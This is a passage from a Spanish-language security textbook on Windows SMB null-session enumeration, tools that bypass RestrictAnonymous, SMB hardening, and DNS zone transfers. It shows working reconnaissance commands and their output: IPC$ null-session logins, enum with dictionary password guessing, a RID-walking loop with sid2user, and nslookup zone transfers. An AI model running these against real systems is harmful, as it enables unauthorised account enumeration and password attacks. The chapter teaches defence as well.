poniendo que el puerto TCP 139 o 445 se muestra escuchando un rastreo de puerto previo:
C:\>net use \\192.168.202.33\IPC$ "" /u:""

Esta sintaxis conecta con el “recurso compartido” de comunicaciones ocultas entre procesos
(IPC$) en la dirección IP 192.168.202.33 como el usuario anónimo integrado (/u: “”) con una
contraseña nula (“”). Si tiene éxito, ahora el atacante cuenta con un canal abierto sobre el cual se
tratan todas las técnicas delineadas en el resto de esta sección para pillar toda la información po-
sible del objetivo: la información de red, los recursos compartidos, los usuarios, los grupos, las
claves de registro, etc.
Casi todas las técnicas de acopio de información descritas en esta sección sobre enumeración
de host aprovechan esta falla de seguridad preconfigurada de Windows. Si ha escuchado que se
le denomina vulnerabilidad de “botón rojo”, conexiones de sesión nula, o inicio de sesión anó-
nimo, puede ser el apoyo de red unitario más devastador buscada por los intrusos.
Microsoft ha hecho algunos progresos contra la deshabilitación de sesiones nulas en configuraciones

NOTA
de cliente predeterminadas: los productos cliente de Windows, incluidos XP y posteriores, bloquean
sesiones nulas de manera predeterminada. Las sesiones nulas aún están disponibles como opción
predeterminada en los productos de Windows Server (incluidos Server 2003 y 2008, como la
construcción 1715); sin embargo, el acceso a información confidencial está bloqueada como con-
figuración predeterminada de directivas de seguridad (alguna información queda disponible, si la
máquina está configurada como un controlador de dominio). A continuación, analizaremos los diversos
ataques que pueden realizarse sobre sesiones nulas contra un controlador de dominio de Windows
Server 2003 (estos ataques están bloqueados como opción predeterminada en Server 2008).
Enumeración de recursos compartidos Con una sesión nula establecida, aun podemos regresar a
usar el viejo conocido net view para enumerar los recursos compartidos en sistemas remotos:
C:\>net view, \\vito
Recursos compartidos en \\192.168.7.45
VITO
04_SCAMBRAY_04.indd 85 7/28/08 8:51:01 PM

Nombre de recurso
compartido Tipo Usado como Comentario
-------------------------------------------------------------------------
NETLOGON Disco Recurso compartido de servidor

de inicio de sesión
Prueba Disco Acceso público
Finanzas Disco Registros de transacciones
Web Disco Raíz Web para acme.com
Otras tres estupendas herramientas para enumeración de recursos compartidos del kit de
recursos son rmtshare, srvcheck y srvinfo (empleando el interruptor –s). Rmtshare genera sali-
da similar a net view. Srvcheck despliega recursos compartidos y usuarios autorizados, inclui-
dos recursos ocultos, pero requiere acceso privilegiado al sistema remoto para enumerar usuarios
y recursos compartidos ocultos. El parámetro –s de srvinfo presenta listas de recursos compar-
tidos junto con una gran cantidad de otra posible información relevante.
Enumeración de dominios de confianza Una vez que se establece una sesión nula en una de las
máquinas del dominio enumerado, la sintaxis nltest /server:<nombre_servidor> /domain_trusts
puede usarse para aprender acerca de otros dominios de Windows con relaciones confiables al
principio. Esta información resultará práctica cuando se analicen los secretos de la autoridad de
seguridad local (LSA, Local Security Authority) en el capítulo 7.
Enumeración de usuarios En los antiguos días del hackeo, las máquinas de Windows arrojaban
información de cuenta con tanta facilidad como revelaban recursos compartidos. Algunos cam-
bios clave a la configuración predeterminada alrededor de la sesión nula en Windows XP y pos-
teriores han puesto un alto a todo eso. Por esto, los siguientes ejemplos se ejecutaron contra un
controlador de dominio de Windows Server 2003 (este comando se negaría contra una configu-
ración independiente predeterminada o una configuración de servidor miembro).
Unas cuantas herramientas del kit de recursos pueden proporcionar más información acerca
de los usuarios mediante sesiones nulas, como las utilerías usrstat, showgrps, local y global. Por
lo general, usamos la utilería local para volcar los miembros del grupo local de Administradores
en un servidor de destino:
C:\>local administrators \\caesars

Administrator
Enterprise Admins
Domain Admins
backadmin
Observe que la cuenta RID 500 siempre aparece primero en la lista en esta salida y que las cuen-
tas administrativas adicionales (como backadmin) aparecen después de los grupos.
La herramienta global puede usarse de la misma manera para encontrar los miembros de los
Administradores de dominio:
C:\>global "domain admins" \\caesars

Administrator
backadmin
04_SCAMBRAY_04.indd 86 7/28/08 8:51:02 PM

En la siguiente sección, analizaremos algunas herramientas de enumeración “todo en uno”

que también hacen un estupendo trabajo en la enumeración de usuarios, además de recursos
compartidos, confianzas y otra información tentadora.
Herramientas de enumeración SMB todo en uno Las herramientas que hemos mostrado hasta ahora
tienen un solo propósito. En los siguientes párrafos, presentaremos algunas herramientas de
enumeración para todo fin que realizan todas las técnicas de enumeración de SMB que hemos
visto hasta ahora (¡y algunas más!).
Una de las mejores herramientas para enumerar sistemas de Windows es DumpSec (antes
DumpACL) de SomarSoft. Pocas herramientas merecen su lugar en la caja de herramientas del
auditor de seguridad de Windows más que DumpSec. Audita todo, desde los permisos del sis-
tema de archivos hasta los servicios disponibles en sistemas remotos. DumpSec tiene una inter-
faz gráfica fácil de usar, o puede ejecutarse desde la línea de comandos, facilitando la
automatización y la ejecución de secuencias de comandos.
Para usar DumpSec anónimamente, configure primero una sesión nula en un sistema remo-
to. Luego, en DumpSec, elija Report | Select Computer y escriba el nombre del sistema remoto.
(Asegúrese de usar el nombre exacto que utilizó para crear la sesión nula, o recibirá un error).
Luego seleccione cualquier informe que quiera ejecutar del menú Report. En la figura 4-2 se
muestra DumpSec usado para volcar información de recursos compartidos desde un equipo re-
moto al elegir Report | Dump Permissions For Shares. Observe que esto despliega recursos
ocultos y visibles.
Aun es posible, como opción predeterminada, volcar recursos compartidos sobre una sesión
nula en Windows Server 2003. DumpSec también vuelca información de cuenta de usuario, pero
sólo si el sistema de destino se ha configurado para permitir la liberación de esta información
sobre una sesión nula (algunos podrían estar mal configurados). Los controladores de dominio
de Windows Server 2003 permitirán esta actividad, como opción predeterminada, de modo que
los siguientes ejemplos se ejecutarán contra ese destino. En este ejemplo, usamos DumpSec des-
de la línea de comandos para generar un archivo que contiene información del usuario desde el
Figura 4-2 DumpSec revela todos los recursos compartidos de una sesión nula
04_SCAMBRAY_04.indd 87 7/28/08 8:51:03 PM

equipo remoto (recuerde que DumpSec requiere una sesión nula con el equipo de destino para
operar):
C:\>dumpsec /computer=\\caesars /rpt=usersonly

/saveas=tsv /outfile=c:\temp\users.txt
C:\>cat c:\temp\users.txt
5/26/2003 3:39 PM - Somarsoft DumpSec (formerly DumpAcl) - \\caesars
UserName FullName Comment
Administrator
Built-in account for administering the computer/domain
backadmin backadmin
Guest
Built-in account for guest access to the computer/domain
IUSR_CAESARS
Internet Guest Account Built-in account for anonymous access to
Internet Information Services
IWAM_CAESARS Launch IIS Process Account
Built-in account for Internet
Information Services to start out of process applications
krbtgt Key Distribution Center Service Account
SUPPORT_388945a0 CN=Microsoft Corporation,L=Redmond,S=Washington,C=US
This is a vendor's account for the Help and Support Service
Utilizando la GUI de DumpSec pueden incluirse muchos campos adicionales de información en

el informe, pero el formato mostrado aquí suele atraer hacedores de problemas. ¡Por ejemplo,
una vez llegamos a un servidor que almacenaba la contraseña para la cuenta de Administrador
a la que se le había cambiado el nombre en el campo FullName!
DumpSec también puede recopilar directivas, derechos de usuario y servicios en una sesión
nula, pero estos elementos están restringidos como opción predeterminada en Windows.
Tocó al equipo RAZOR de BindView incluir casi todas las características de enumeración de
SMB en una herramienta, y otras más. La llamaron enum (lo que cae muy bien para este capítu-
lo). Con el siguiente listado de los interruptores de línea de comandos disponibles para esta he-
rramienta se demuestra lo completa que es.
C:\>enum
usage: enum [switches] [hostname|ip]
-U: get userlist
-M: get machine list
-N: get namelist dump (different from -U|-M)
-S: get sharelist
-P: get password policy information
-G: get group and member list
-L: get LSA policy information
-D: dictionary crack, needs -u and -f
-d: be detailed, applies to -U and -S
-c: don't cancel sessions
04_SCAMBRAY_04.indd 88 7/28/08 8:51:03 PM

-u: specify username to use (default "")

-p: specify password to use (default "")
-f: specify dictfile to use (wants -D)
Enum incluso automatiza la configuración y el restablecimiento de las sesiones nulas. Es im-

portante observar el interruptor de enumeración de la directiva de contraseña, –P, que indica a
los atacantes remotos si pueden adivinar contraseñas de cuenta de usuario (empleando –D, –u y
–f) hasta que encuentren una débil. El siguiente ejemplo se ha editado por razones de brevedad,
para mostrar enum en acción contra un controlador de dominio de Windows Server 2003:
C:\>enum -U -d -P -L -c caesars
server: caesars
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
opening lsa policy... success.
server role: 3 [primary (unknown)]
names:
netbios: VEGAS2
domain: VEGAS2
quota:
paged pool limit: 33554432
non paged pool limit: 1048576
min work set size: 65536
max work set size: 251658240
pagefile limit: 0
time limit: 458672
trusted domains:
indeterminate
netlogon done by a PDC server
getting user list (pass 1, index 0)... success, got 7.
Administrator (Built-in account for administering the computer/domain)
attributes:
backadmin attributes: disabled
Guest (Built-in account for guest access to the computer/domain)
attributes: disabled no_passwd
IUSR_CAESARS
(Built-in account for anonymous access to
Internet Information Services)
attributes: no_passwd
IWAM_CAESARS
04_SCAMBRAY_04.indd 89 7/28/08 8:51:04 PM

(Built-in account for Internet Information Services to start out

of process applications)
attributes: no_passwd
krbtgt (Key Distribution Center Service Account)
attributes: disabled
SUPPORT_388945a0 (This is a vendor's account for the
Help and Support Service)
attributes: disabled
Enum también realizará adivinación remota de contraseñas de usuario utilizando los argu-
mentos –D –u <nombreusuario> –f <archivodict>.
Otra estupenda herramienta de enum escrita por Sir Dystic, llamada nete (NetE), extraerá
una gran cantidad de información de una conexión de sesión nula. Nos gustaría usar el interrup-
tor /0 para realizar todas las comprobaciones, pero he aquí la sintaxis de comando para nete, a
fin de dar una idea de la información completa que puede recuperarse mediante una sesión
nula:
C:\>nete
NetE v.96 Questions, comments, etc. to sirdystic@cultdeadcow.com
Usage: NetE [Options] \\MachinenameOrIP

Options:
/0 - All NULL session operations
/A - All operations
/B - Get PDC name
/C - Connections
/D - Date and time
/E - Exports
/F - Files
/G - Groups
/I - Statistics
/J - Scheduled jobs
/K - Disks
/L - Local groups
/M - Machines
/N - Message names
/Q - Platform specific info
/P - Printer ports and info
/R - Replicated directories
/S - Sessions
/T - Transports
/U - Users
/V - Services
/W - RAS ports
/X - Uses
/Y - Remote registry trees
/Z - Trusted domains
04_SCAMBRAY_04.indd 90 7/28/08 8:51:05 PM

Omisión de RestrictAnonymous A partir de la versión de NT 4 Service Pack 3, Microsoft trató de

defenderse contra la vulnerabilidad de sesión nula al crear la opción de configuración RestrictA-
nonymous (consulte la sección “Contramedidas ante la enumeración de SMB”, en páginas pos-
teriores). Sin embargo, algunas herramientas y técnicas de enumeración aún extraerán datos
confidenciales de sistemas remotos, aunque RestrictAnonymous esté configurado para restrin-
girlo. A continuación analizaremos algunas de estas herramientas.
Dos herramientas extremadamente poderosas para enumeración en Windows son sid2user
y user2sid, de Evgenii Rudnyi. Son herramientas de línea de comandos que buscan SID de Win-
dows a partir de la entrada del nombre del usuario, y viceversa. (Los SID se introdujeron y des-
cribieron en el capítulo 2). Para usarlos remotamente se requiere acceso de sesión nula en el
equipo de destino. Las siguientes técnicas funcionarán contra las configuraciones predetermina-
das de controladores de dominio de Windows Server 2003 y Server 2008 (debido a que la direc-
tiva Acceso de red: Permitir traducción SID/nombre anónima está habilitada como opción
predeterminada).
Primero, extraemos un SID de dominio usando user2sid:
C:\>user2sid \\192.168.202.33 "domain users"
S-1-5-21-8915387-1645822062-1819828000-513
Number of subauthorities is 5
Domain is WINDOWSNT
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
Esto nos indica el SID para esta máquina: la cadena de números que empieza con S-1 separada
por guiones en la primera línea de la salida.
Como vimos en el capítulo 2, a la cadena numérica que sigue al último guión se le denomina
identificador relativo (RID, Relative IDentifier), y está predefinido para usuarios y grupos integra-
dos de Windows como Administrador e Invitado. Por ejemplo, el RID del usuario Administra-
dor siempre es 500, y el RID del usuario Invitado es 501. Armado con esta información, un
hacker puede usar sid2user y la cadena SID conocida con un RID adjunto de 500 para encontrar
el nombre de una cuenta de Administrador (aunque se le haya cambiado el nombre):
C:\>sid2user \\192.168.2.33 5 21 8915387 1645822062 18198280005 500
Name is godzilla
Domain is WINDOWSNT
Observe que se omitieron el S-1 y los guiones. Otro hecho interesante es que la primera cuen-
ta creada en cualquier sistema o dominio local de la familia Windows NT tiene asignado un RID
de 1000, y cada objeto posterior obtiene el siguiente número secuencial después de éste (1001,
1002, 1003, etc.; los RID no se reciclan en la instalación actual). Por tanto, una vez que se conoce
el SID, un hacker puede enumerar básicamente cada usuario y grupo en un sistema NT/2000,
pasado y presente.
04_SCAMBRAY_04.indd 91 7/28/08 8:51:05 PM

He aquí un ejemplo simple de cómo incluir user2sid/sid2user en una secuencia de coman-

dos para recorrer en bucle todas las cuentas de usuario disponibles en un sistema. Antes de eje-
cutar la secuencia de comandos, primero determinamos el SID del sistema de destino utilizando
user2sid en una sesión nula, como se mostró antes. Si recordamos que NT/2000 asigna un RID
a las nuevas cuentas, empezando con 1000, entonces podemos ejecutar el siguiente bucle em-
pleando el comando de shell NT/2000 y la herramienta sid2user (vista antes) para enumerar
hasta 50 cuentas en un destino:
C:\>for /L %i IN (1000,1,1050) DO sid2user \\acmepdc1 5 21 1915163094

1258472701648912389 %I >> users.txt
C:\>cat users.txt
Name is IUSR_ACMEPDC1
Domain is ACME
Name is MTS Trusted Impersonators

Domain is ACME
Type of SID is SidTypeAlias
. . .
Esta salida simple podría limpiarse al canalizarla a través de un filtro para dejar sólo una
lista de nombres de usuario. Por supuesto, el entorno de secuencia de comandos no está limitada
a la shell de NET (también servirán Perl, VBScript u otro similar). Como un último recordatorio
antes de seguir adelante, tome en cuenta que en este ejemplo se vuelcan con éxito los usuarios,
siempre y cuando el puerto TCP 139 o 445 esté abierto en el destino, aunque RestrictAnonymous
esté configurado en el valor “1”, que es moderadamente conservador (una vez más, consulte la
sección “Contramedidas a la enumeración de SMB”, en páginas posteriores, para conocer valo-
res explícitos de RestrictAnonymous y su significado).
NOTA La herramienta UserDump, que se analizará en breve, vuelve automática esta técnica de enumeración
de “SID en movimiento”.
Sugerencia
Configure el valor de la Directiva de seguridad Acceso de red: permitir traducción SID/nombre
anónima en Inactiva en Windows XP y posteriores, para evitar este ataque.
La herramienta UserInfo de Tim Mullen (thor@hammerofgod.com) enumerará la informa-

ción de usuario en una sesión nula, aunque RestrictAnonymous esté en 1. Al consultar la llama-
da a la API NetUserGetInfo en el nivel 3, UserInfo accede a la misma información confidencial
que otras herramientas como DumpSec, que son obstaculizadas por RestrictAnonymous = 1. He
aquí UserInfo enumerando la cuenta Administrador en un sistema remoto con RestrictAnony-
mous = 1.
C:\>userinfo \\victima.com Administrador
UserInfo v1.5 = thor@hammerofgod.com
04_SCAMBRAY_04.indd 92 7/28/08 8:51:06 PM

Querying Controller \\mgmgrand
USER INFO
Username: Administrador
Full Name:
Comment: Cuenta para la administración del equipo o dominio
administering the computer/domain
User Comment:
User ID: 500
Primary Grp: 513
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs
SYSTEM FLAGS (Flag dword is 66049)

User's pwd never expires.
MISC INFO
Password age: Mon Apr 09 01:41:34 2001
LastLogon: Mon Apr 23 09:27:42 2001
LastLogoff: Thu Jan 01 00:00:00 1970
Acct Expires: Never
Max Storage: Unlimited
Workstations:
UnitsperWeek: 168
Bad pw Count: 0
Num logons: 5
Country code: 0
Code page: 0
Profile:
ScriptPath:
Homedir drive:
Home Dir:
PasswordExp: 0
Logon hours at controller, GMT:

Hours- 12345678901N12345678901M
Sunday 111111111111111111111111
Monday 111111111111111111111111
Tuesday 111111111111111111111111
Wednesday 111111111111111111111111
Thursday 111111111111111111111111
Friday 111111111111111111111111
Saturday 111111111111111111111111
Get hammered at HammerofGod.com!
04_SCAMBRAY_04.indd 93 7/28/08 8:51:06 PM

Una herramienta relacionada de Tim Mullen es UserDump. Enumera el SID del sistema
remoto y luego “recorre” los valores RID esperados para reunir todos los nombres de cuenta
de usuario. UserDump toma el nombre de un usuario o grupo conocido e itera un número de
veces especificado por el usuario a partir del SID 1001. UserDump siempre obtendrá primero el
RID 500 (Administrador), y luego empezará en el RID 1001 más el número máximo de consultas
especificado. (Un valor de MaxQueries de 0 o en blanco devuelve los SID 500 y 1001). He aquí
un ejemplo de UserDump en acción contra un controlador de dominio de Windows Server
2003:
C:\>userdump \\mgmgrand invitado 10
UserDump v1.11 - thor@hammerofgod.com
Querying Controller \\mgmgrand
USER INFO
Username: Administrador
Full Name:
Comment: Cuenta para la administración
del equipo o dominio
User Comment:
User ID: 500
Primary Grp: 513
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs
[fragmento]
LookupAccountSid failed: 1007 does not exist...
Get hammered at HammerofGod.Com!
Otra herramienta llamada getAcct, de Urity, realiza esta misma técnica de recorrido de SID.
GetAcct tiene una interfaz gráfica y puede exportar resultados a un archivo separado por comas
para análisis posterior. No requiere la presencia de una cuenta Administrador o Invitado en el
servidor de destino. GetAcct se muestra en la figura 4-3, obteniendo la información de cuenta de
usuario de un sistema con RestrictAnonymous = 1.
Walksam, una de las tres herramientas RPC de Todd Sabin, también recorre la base de datos
del administrador de cuentas de seguridad (SAM, Security Accounts Manager) y arroja informa-
ción acerca de cada usuario encontrado. Da soporte al método “tradicional” de hacer esto me-
diante canalizaciones y los mecanismos adicionales que usan los controladores de dominio de
Windows. Puede omitir RestrictAnonymous = 1 si son factibles las sesiones nulas. He aquí un
04_SCAMBRAY_04.indd 94 7/28/08 8:51:07 PM

Figura 4-3 GetAcct recorre los SID vía una sesión nula, omitiendo RestrictAnonymous = 1
ejemplo abreviado de walksman en acción (observe que ya existe una sesión nula con el servidor
de destino):
C:\rpctools>walksam 192.168.234.44
rid 500: user Administrador
Userid: Administrador
Full Name:
Home Dir:
Home Drive:
Logon Script:
Profile:
Description: Cuenta para la administración del equipo o dominio
Workstations:
Profile:
User Comment:
Last Logon: never
Last Logoff: never
Last Passwd Change: 6/10/2007 20:28:46.484
Acct. Expires: never
04_SCAMBRAY_04.indd 95 7/28/08 8:51:07 PM

Allowed Passwd Change: 6/10/2007 20:28:46.484

Rid: 500
Primary Group Rid: 513
Flags: 0x210
Fields Present: 0xffffff
Bad Password Count: 0
Num Logons: 88
rid 501: user Invitado

Userid: Invitado
[etc.]
Esperamos que haya disfrutado este pequeño recordatorio. A continuación, vamos a anali-
zar algunas mejoras importantes en Windows XP y posteriores que, en esencia, eliminan la ne-
cesidad de preocuparse de RestrictAnonymous.
Contramedidas ante la enumeración de SMB

El bloqueo o la restricción del daño factible mediante enumeración de SMB en Windows puede
realizarse de varias maneras:
• Bloquear el acceso a los puertos TCP 139 y 445 en el nivel de red o host.
• Deshabilitar los servicios SMB.
• Establecer apropiadamente las configuraciones de Acceso de red de la Directiva de
seguridad.
• Actualizar a Windows XP SP2 o posterior, lo que bloquea efectivamente todos los
ataques descritos hasta ahora en la configuración predeterminada (a menos que el
sistema sea un controlador de dominio).
Por supuesto, la mejor manera es limitar el acceso no confiable a esos servicios es el uso de
una firewall de red, que es la razón por la que presentamos primero esta opción. Además, con-
sidere el uso de filtros como los del Firewall de Windows en hosts individuales para restringir
el acceso a SMB y para “defensa a profundidad”, en caso de que se penetre la frontera del Fi-
rewall.
Analizaremos las demás opciones a profundidad.
Deshabilitación de SMB La deshabilitación de SMB en Windows puede ser un proceso muy con-
fuso, dependiendo de cuál versión de Windows esté usando. En primer lugar, identifique la co-
nexión de red que quiere configurar en la opción Conexiones de red del Panel de control. (Las
conexiones con Conexión de área local en sus nombres suelen ser las conexiones LAN principales
del sistema; tiene que dedicar más tiempo a imaginarse cuál está conectada a la red en la que
quiere deshabilitar SMB). En Vista y posteriores, encontrará las conexiones de red en Panel de
control \Redes e Internet\Centro de redes y recursos compartidos. Haga clic con el botón dere-
cho en el vínculo Ver estado de la conexión que quiera y seleccione Propiedades. En la hoja Pro-
piedades, haga clic en Protocolo de Internet (TCP/IP) (en Vista y posteriores, a éste se le deno-
mina Protocolo de Internet versión 4 TCP/IPv4). Luego haga clic en el botón Propiedades, y en
el posterior cuadro de diálogo, haga clic en el botón Opciones avanzadas, vaya a la ficha WINS
y localice la opción denominada Deshabilitar NetBIOS a través de TCP/IP, como se muestra en
la figura 4-4.
04_SCAMBRAY_04.indd 96 7/28/08 8:51:08 PM

Figura 4-4 Deshabilitación de NetBIOS a través de TCP/IP sólo deshabilitará TCP 139, dejando el
sistema vulnerable a la enumeración a través de TCP 445
La mayoría de los usuarios suponen que al deshabilitar NetBIOS a través de TCP/IP, han
deshabilitado con éxito SMB en sus máquinas. Esto es incorrecto. Este valor sólo deshabilita el
servicio de sesión de NetBIOS, TCP 139.
Las versiones más modernas de Windows ejecutan otro escucha SMB en TCP 445. Este puer-
to permanecerá activo aunque NetBIOS a través de TCP/IP esté deshabilitado. Las versiones
cliente de SMB de Windows posteriores a NT 4 Service Pack 6a caerán automáticamente a través
de TCP 445 si una conexión a TCP 139 falla, de modo que aún se pueden establecer sesiones nu-
las para clientes actualizados aunque TCP 139 esté deshabilitado o bloqueado. Para deshabilitar
SMB en TCP 445 en Windows Server 2003 y anteriores, abra la applet Conexiones de red en el
Panel de control, elija Propiedades Avanzadas | Avanzadas y luego deje de seleccionar Compar-
tir impresoras y archivos para redes Microsoft en el adaptador apropiado. En Vista y posteriores,
puede deshabilitarse Compartir impresoras y archivos para redes Microsoft bajo las propieda-
des de la conexión, como se muestra en la figura 4-5.
Con la opción Compartir impresoras y archivos deshabilitada, las sesiones nulas no serán
posibles a través de 139 y 445 (junto con Compartir impresoras y archivos, obviamente). No se
requiere reiniciar para que este cambio se aplique. TCP 139 aún aparecerá en el rastreo de puer-
tos, pero no será posible conectarse a él.
04_SCAMBRAY_04.indd 97 7/28/08 8:51:09 PM

Figura 4-5 Deshabilitación completa de SMB en Vista, a través de TCP 139 y 445
Sugerencia
Otra manera de evitar el acceso a servicios de SMB consiste en deshabilitar el servicio Servidor
mediante las herramientas Servicios administrativos (services.msc), que deshabilita Compartir
impresoras y archivos, restringe el acceso a canalizaciones con nombre en la red y deshabilita el
recurso compartido IPC$. Por supuesto, esto deshabilita los servicios de intercambio de recursos
como Compartir impresoras y archivos.
Configuración de “Acceso de red” en la Directiva de seguridad Si necesita proporcionar acceso a SMB

(digamos, para un controlador de dominio), la deshabilitación de SMB no se considera posible.
A partir de la versión de NT 4 Service Pack 3, Microsoft trató de defenderse de la vulnerabilidad
de enumeración de sesión nula al crear el valor de Registro RestrictAnonymous:
HKLM\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous
RestrictAnonymous es una REG_DWORD y puede tener uno de tres valores posibles: 0, 1 y

2. Estos valores se describen en la tabla 4-4.
04_SCAMBRAY_04.indd 98 7/28/08 8:51:10 PM

Valor Nivel de seguridad

0 Ninguno; depende de los permisos predeterminados
1 No permite la enumeración de las cuentas y nombres de SAM
2 No hay acceso sin permisos anónimos explícitos
Tabla 4-4 Valores de RestrictAnonymous
Con Windows 2000, Microsoft exponía este valor mediante el complemento Directiva de se-
guridad de MMC (secpol.msc), que proporcionaba una GUI para los muchos valores antiguos
del Registro relacionados con la seguridad, como RestrictAnonymous, que necesitaban configu-
rarse manualmente bajo NT 4. Al parámetro se le llamó Restricciones adicionales para conexiones
anónimas en la directiva de Windows 2000, e introdujo un tercer valor denominado No hay acceso
sin permisos anónimos explícitos. (Esto es el equivalente a asignar 2 al valor de Registro Restrict
Anonymous, que se muestra en la tabla 4-4). Esta tercera opción ya no se expone mediante la
interfaz de directiva de Windows XP y posteriores, pero el valor de Registro persiste.
Lo interesante es que al colocar el valor 1 a RestrictAnonymous en realidad no se bloquean
las conexiones anónimas. Sin embargo, se evita la fuga de la mayor parte de información dispo-
nible a través de la sesión nula, sobre todo de la enumeración de cuentas de usuario y recursos
compartidos. Como ya mostramos antes, algunas herramientas y técnicas de enumeración aún
extraerán datos confidenciales de sistemas remotos, aunque RestrictAnonymous esté estableci-
do en 1.
Al establecer RestrictAnonymous en 2 se evita que la identidad especial Todos se incluya en
fichas de acceso anónimas. Bloquea efectivamente la creación de sesiones nulas:
C:\>net use \\mgmgrand\ipc$ “” /u:””

Error de sistema 5.
Se ha negado el acceso.
El establecimiento de RestrictAnonymous en este valor más seguro (2) tiene el efecto nocivo
de evitar el acceso de cliente de bajo nivel y la enumeración de dominios de confianza. (Los
clientes de Windows 95 pueden actualizarse con la utilería dsclient para aliviar parte de esto;
consulte el artículo de la base de conocimiento de Microsoft Q246261 para conocer más detalles).
Para atender estos problemas, la interfaz para controlar el acceso anónimo se ha rediseñado en
Windows XP y posteriores para proporcionar un control más fino y una mejor seguridad prede-
terminada.
El cambio visible más inmediato en el nodo Opciones de seguridad de la Directiva de segu-
ridad es que la opción Restricciones adicionales para conexiones anónimas (que configuraba
RestrictAnonymous en Windows 2000) se ha ido. Bajo Windows XP y posteriores, todos los va-
lores bajo Opciones de seguridad se han organizado en categorías. Los valores relevantes a la
restricción del acceso anónimo caen bajo la categoría con el prefijo Acceso de red. En la tabla 4-5
se muestran los nuevos valores y nuestras configuraciones recomendadas.
04_SCAMBRAY_04.indd 99 7/28/08 8:51:10 PM

Configuración de Windows XP Configuración recomendada

y posteriores
Acceso de red Permitir traducción Deshabilitada Bloquea user2sid y
SID/nombre anónima herramientas similares (está habilitada en
controladores de dominio)
Acceso de red No permitir Habilitada Bloquea herramientas que
enumeraciones anónimas de cuentas omiten RestrictAnonymous = 1
SAM
Acceso de red No permitir Habilitada Bloquea herramientas que
enumeraciones anónimas de cuentas omiten RestrictAnonymous = 1 (está
y recursos compartidos SAM deshabilitada en controladores de dominio)
Acceso de red Deja los permisos Deshabilitada Aunque se parece a
de Todos para aplicarse a usuarios RestrictAnonymous = 2, aún son posibles los
anónimos accesos anónimos
Acceso de red Canalizaciones con Depende del rol del sistema. Puede
nombre accesibles anónimamente considerar la eliminación de SQL\QUERY
y EPMAPPER para bloquear SQL y
enumeración de MSRPC, respectivamente
Acceso de red Rutas de registro Depende del rol del sistema. Lo más seguro
accesibles remotamente es dejarlo vacío.
Acceso de red Rutas y subrutas de Depende del rol del sistema. Lo más seguro
registro accesibles remotamente es dejarlo vacío.
Acceso de red Restringir acceso Habilitada
anónimo a canalizaciones con
nombre y recursos compartidos
Acceso de red Recursos Depende del rol en el sistema. Vacío es
compartidos accesibles más seguro; la opción predeterminada es
anónimamente COMCFG, DFS$
Tabla 4-5 Configuraciones de acceso anónimo en Windows XP y posteriores
Al observar la tabla 4-5, queda en claro que la principal ventaja adicional obtenida por Win-
dows XP y versiones posteriores es un control más fino sobre los recursos que están disponibles
mediante sesiones nulas. Siempre es mejor proporcionar más opciones, pero aún sigue gustán-
donos la elegante simplicidad de RestrictAnonymous = 2 de Windows 2000, porque simplemen-
te no eran posibles las sesiones nulas. Por supuesto, la compatibilidad sufría, pero hey, por eso
nos dedicamos a la seguridad, ¿o no? Lo simple siempre derrota a lo complejo cuando se trata
de seguridad. De cualquier forma, éramos incapaces de penetrar las configuraciones delineadas
en la tabla 4-5 empleando las herramientas analizadas en este capítulo.
Aún mejor, las configuraciones de la tabla 4-5 pueden aplicarse en el nivel de unidad orga-
nizacional (OU, Organizational Unit), sitio o dominio para que puedan heredarlos los objetos
secundarios en Active Directory, si se aplican desde un controlador de dominio de Windows.
Esto requiere la funcionalidad de Directiva de grupo de un controlador de dominio de Win-
dows, por supuesto.
04_SCAMBRAY_04.indd 100 7/28/08 8:51:11 PM

PRECAUCIÓN
Como opción predeterminada, los controladores de dominio de Windows relajan algunas de las
configuraciones que evitan la enumeración de SMB (consulte la tabla 4-5).
Sugerencia No olvide asegurarse de que se aplica la Directiva de seguridad, ya sea al hacer clic con el botón
derecho en el nodo Configuraciones de seguridad en la MMC y seleccionando Recargar o al
actualizar la Directiva de grupo en un dominio.
ENUMERACIÓN DE DNS DE WINDOWS

Como vimos en el capítulo 3, una de las fuentes principales de recopilación de información es el
sistema de nombres de dominio (DNS, Domain Name System), el protocolo estándar de Internet
para correlacionar direcciones IP de host con nombres amigables como amazon.com. Con el sur-
gimiento de Active Directory en Windows 2000, que basa el espacio de nombres en DNS, Micro-
soft renovó su implementación de servidor DNS para acomodarse a las necesidades de AD, y
viceversa.
Active Directory depende del registro DNS SRV (RFC 2052), que permite que los servidores
se localicen por tipo de servicio (por ejemplo, Catálogo global, Kerberos y LDAP) y protocolo
(por ejemplo, TCP). Por tanto, una simple transferencia de zona puede enumerar una gran can-
tidad de información de red interesante, como se muestra a continuación.
Transferencia de zona DNS de Windows 2000

Popularidad: 3
Simplicidad: 7
Impacto: 2
La realización de transferencias de zona es fácil utilizando la herramienta integrada

nslookup. En el siguiente ejemplo, se ejecuta una transferencia de zona contra el dominio de
Windows 2000 labfarce.org (se ha editado para que sea más breve y se han cortado las líneas
para mayor legibilidad).
C:\>nslookup
Servidor predeterminado: corp-dc.labfarce.org
Dirección: 192.168.234.110
\>> ls –d labfarce.org
[[192.168.234.110]]
labfarce.org. SOA corp-dc.labfarce.org admin.
labfarce.org A 192.168.234.110
labfarce.org. NS corp-dc.labfarce.org
...
_gc._tcp SRV prioridad=0, peso=100, puerto=3268, corp-dc.labfarce.org
_kerberos._tcp SRV prioridad=0, peso=100, puerto=88, corp-dc.labfarce.org
_kpasswd._tcp SRV prioridad=0, peso=100, puerto=464, corp-dc.labfarce.org
_idap._tcp SRV prioridad=0, peso=100, puerto=389, corp-dc.labfarce.org
De acuerdo con RFC 2052, el formato para registros SRV es

Servicio.Proto.Nombre TTL Clase SRV Prioridad Peso Puerto Destino
04_SCAMBRAY_04.indd 101 7/28/08 8:51:12 PM

Algunas observaciones simples que un atacante podría reunir de este archivo sería la ubicación
del servicio de catálogo global del dominio (_gc._tcp), los controladores de dominio que utilizan
autentificación Kerberos (_kerberos._tcp), los servidores LDAP (_ldap._tcp) y sus números de
puerto asociados (sólo se muestran aquí las encarnaciones de TCP).
Bloqueo de las transferencias de zona de DNS de Windows

Como opción predeterminada (lo adivinó), Windows 2000 viene configurado a fin de permitir
transferencias de zona para cualquier servidor. Por fortuna, Windows Server 2003 y posteriores
restringen las transferencias de zona como opción predeterminada (los atacantes recibirán “Con-
